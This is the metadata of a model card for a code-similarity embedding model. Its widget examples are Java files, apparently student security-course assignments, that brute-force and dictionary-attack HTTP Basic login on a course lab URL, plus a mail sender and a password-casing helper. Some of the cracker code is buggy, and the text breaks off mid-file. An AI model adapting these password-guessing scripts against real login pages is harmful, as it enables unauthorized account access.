metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:42960
- loss:BatchAllTripletLoss
- loss:TripletLoss
- loss:MultipleNegativesRankingLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing dictionary word and waiting for URL reply....... \");\n String currentword = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n System.out.println(\"Trying again with new password\");\n Bruteforce a = new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; int j= m; int k= n;\n\n String c = new String();\n String c1 = new String();\n String c2 = new String();\n String c3 = new String();\n String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n"
- "import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\n\n\n\npublic class Mailsend\n{\n static final String SMTP_SERVER = MailsendPropertyHelper.getProperty(\"smtpServer\");\n static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty(\"recipient\");\n static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty(\"sender\");\n static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty(\"messageHeader\");\n\n\n\t\n\n\tpublic static void main(String args[])\n\t{\n\t\ttry\n\t\t{\n\t\t\t\n\t\t\tString smtpServer = SMTP_SERVER;\n\t\t\tString recip = RECIPIENT_EMAIL;\n\t\t\tString from = SENDER_EMAIL;\n\t\t\tString subject = MESSAGE_HEADER;\n\t\t\tString body = \"Testing\";\n\n\t\t\tSystem.out.println(\"Started sending the message\");\n\t\t\tMailsend.send(smtpServer,recip , from, subject, body);\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tSystem.out.println(\n\t\t\t\t\"Usage: java mailsend\"\n\t\t\t\t\t+ \" smtpServer toAddress fromAddress subjectText bodyText\");\n\t\t}\n\n\t\tSystem.exit(0);\n\t}\n\n\n\t\n\tpublic static void send(String smtpServer, String receiver,\tString from, String subject, String body)\n\n\t{\n\t\ttry\n\t\t{\n\t\t\tProperties props = System.getProperties();\n\n\t\t\t\n\n\t\t\tprops.put(\"mail.smtp.host\", smtpServer);\n\t\t\tprops.put(\"mail.smtp.timeout\", \"20000\");\n\t\t\tprops.put(\"mail.smtp.connectiontimeout\", \"20000\");\n\n\t\t\t\n\t\t\tSession session = Session.getDefaultInstance(props, null);\n\n\n\t\t\t\n\t\t\tMessage msg = new MimeMessage(session);\n\n\t\t\t\n\t\t\tmsg.setFrom(new InternetAddress(from));\n\t\t\tmsg.setRecipients(Message.RecipientType.NORMAL,\tInternetAddress.parse(receiver, false));\n\n\n\n\t\t\t\n\t\t\tmsg.setSubject(subject);\n\n\t\t\tmsg.setSentDate(new Date());\n\n\t\t\tmsg.setText(body);\n\n\t\t\t\n\t\t\tTransport.send(msg);\n\n\t\t\tSystem.out.println(\"sent the email with the differences : \"+ + \"using the mail server: \"+ smtpServer);\n\n\t\t}\n\t\tcatch (Exception ex)\n\t\t{\n\t\t\tex.printStackTrace();\n\t\t}\n\t}\n}\n"
- source_sentence: "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n Dictionary a = new Dictionary();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n File file = new File(\"words\");\n exit:\n try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n \t\t \tif (status) {\n\t\t\t \t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t \t\t System.out.println(\"Number of attempts = \" + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println(\"File not found: \" + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
sentences:
- "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts = 0;\n int l = 65;int m = 65;int n = 65;\n URLConnection conn = null;\n\n public static void main(String args[]){\n \n\tBruteforce a = new Bruteforce();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\t passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" + attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n System.out.println(\"Trying again with new password\");\n Bruteforce a = new Bruteforce();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n attempts++;\n\n char i1 = 0;\n char j1 = 0;\n char k1 = 0;\n \n int i= l; int j= m; int k= n;\n\n String c = new String();\n String c1 = new String();\n String c2 = new String();\n String c3 = new String();\n String c4 = new String();\n boolean flag;\n\n for (i=l;i<123;i++)\n for (j=m;j<123;j++)\n for (k=n;k<123;k++)\n {\n if( flag = true )\n {\n\n i1 = (char)i;\n j1 = (char)j;\n k1 = (char)k;\n\n if (i==91) i=97;\n if (j==91) j=97;\n if (k==91) k=97;\n\n c = i1+\"\";\n c1 = j1+\"\";\n c2 = k1+\"\";\n c3 = c.concat(c1);\n c4 = c3.concat(c2);\n }else break;\n }\n flag = false;\n return c4;\n }\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", PasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String PasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n"
- "\npublic class CasePasswords\n{\n\n \n static int verbose = CrackingConstants.quietMode;\n\n \n\t\n\tpublic void CasePasswords()\n\t{\n }\n\n\t\n\tpublic void CasePasswords(int inVerbose)\n\t{\n\t verbose = inVerbose;\n }\n\n\t\n public String [] createCasedPasswords( int leftIndex, int midIndex, int rightIndex, String tail, String [] lowerChars, String [] upperChars, int scanType)\n {\n String [] casedPasswords = null;\n \n \n \n if(scanType == CrackingConstants.casedScan)\n if(rightIndex > -1)\n {\n \n casedPasswords = new String[8];\n }\n else if(midIndex > -1)\n {\n \n casedPasswords = new String[4];\n }\n else\n {\n \n casedPasswords = new String[2];\n }\n else \n {\n \n casedPasswords = new String[1];\n }\t\n \n \n \n \n if(scanType == CrackingConstants.casedScan)\n {\n if(rightIndex > -1)\n {\n \n casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];\n casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];\n casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];\n casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];\n casedPasswords[4] = upperChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];\n casedPasswords[5] = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];\n casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];\n casedPasswords[7] = lowerChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];\n }\n else if(midIndex > -1)\n {\n \n casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex];\n casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex];\n casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex];\n }\n else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n casedPasswords[1] = upperChars[leftIndex];\n }\n }\n else\t\n {\n if(rightIndex > -1)\n {\n \n casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];\n }\n else if(midIndex > -1)\n {\n \n casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];\n }\n else\n {\n \n casedPasswords[0] = lowerChars[leftIndex];\n }\n }\t\n \n \n \n \n \n if(\"\" != tail)\n \tfor( i = 0; i < casedPasswords.length; i++)\n \t\tcasedPasswords[i] += tail;\n \n\t if(verbose == CrackingConstants.verboseMode2)\n\t printPasswords(casedPasswords);\n\n return casedPasswords;\n } \n \n\t\n public String [] createCasedPasswords(String candidate, int scanType)\n {\n \n int candLength = candidate.length();\n int arrayLength = 2 ^ candLength;\n arrayLength = 1;\n String [] shortCasedPasswords = new String[1];\n String [] casedPasswords = null;\n char[] password = new char [candidate.length()];\n \n \n if(scanType != CrackingConstants.simpleScan)\n candidate.getChars(0, candidate.length(), password, 0);\n \n \n \n \n \n \n \n \n \n \n if(scanType == CrackingConstants.simpleScan)\n {\n \n \n casedPasswords = new String[1];\n casedPasswords[0] = candidate;\n }\n else if(candidate.length() == 1)\n {\n casedPasswords = new String[2];\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));\n casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));\n \n }\n else if (candidate.length() == 2)\n {\n casedPasswords = new String[4];\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));\n casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));\n casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));\n casedPasswords[3] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));\n \n }\n else if (candidate.length() == 3)\n {\n casedPasswords = new String[8];\n casedPasswords[0] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toUpperCase(password[2]);\n casedPasswords[2] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toLowerCase(password[2]);\n casedPasswords[4] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toLowerCase(password[2]);\n casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toLowerCase(password[2]);\n casedPasswords[6] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1])) + Character.toUpperCase(password[2]);\n casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1])) + Character.toUpperCase(password[2]);\n \n }\n else if (candidate.length() > 3)\n {\n casedPasswords = new String[8];\n String tailCharacters = new String(password, 3, (password.length - 3));\n casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;\n casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;\n casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;\n casedPasswords[3] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;\n casedPasswords[4] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;\n casedPasswords[5] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;\n casedPasswords[6] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;\n casedPasswords[7] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1])) + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;\n \n }\n \n\t if(verbose == CrackingConstants.verboseMode2)\n\t printPasswords(casedPasswords);\n\n return casedPasswords;\n }\n \n \n\t\n private void printPasswords(String [] passwords)\n {\n if(passwords.length > 0)\n {\n for( i = 0; i < passwords.length; i++)\t\n {\n System.out.print(passwords[i] + \"\\t\");\n }\n System.out.println(\"\\n\");\n }\n } \n \n} \n"
- "import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n URLConnection conn = null;\n\n public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n a.attack(args);\n }\n\n public void attack(String args[]) {\n try {\n String login = new String(\"\");\n String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n String passwd = new String();\n\n\n passwd = getPasswd();\n BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n }\n System.out.println(\"Password Cracked Successfully!!!\");\n System.out.println(\"The passsword is :\" + passwd + \"and got after \" +attempts + \" tries\");\n }\n catch (IOException e) {\n \n String r = new String(e.getMessage());\n if ( r != null)\n {\n System.out.println(\"Message :\" +r);\n Dictionary a = new Dictionary();\n a.attack(args);\n }\n else\n {\n\tSystem.out.println(\"Trying again\");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n }\n }\n }\n public String getPasswd()\n {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println(\"Passing dictionary word and waiting for URL reply....... \");\n String currentword = \"\";\n String se = \"\";\n try{\n FileInputStream reader = new FileInputStream (\"words\");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n catch( IOException e){}\n\n return currentword;\n\t \n }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setDoInput (true);\n conn.setRequestProperty (\"Authorization\", userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 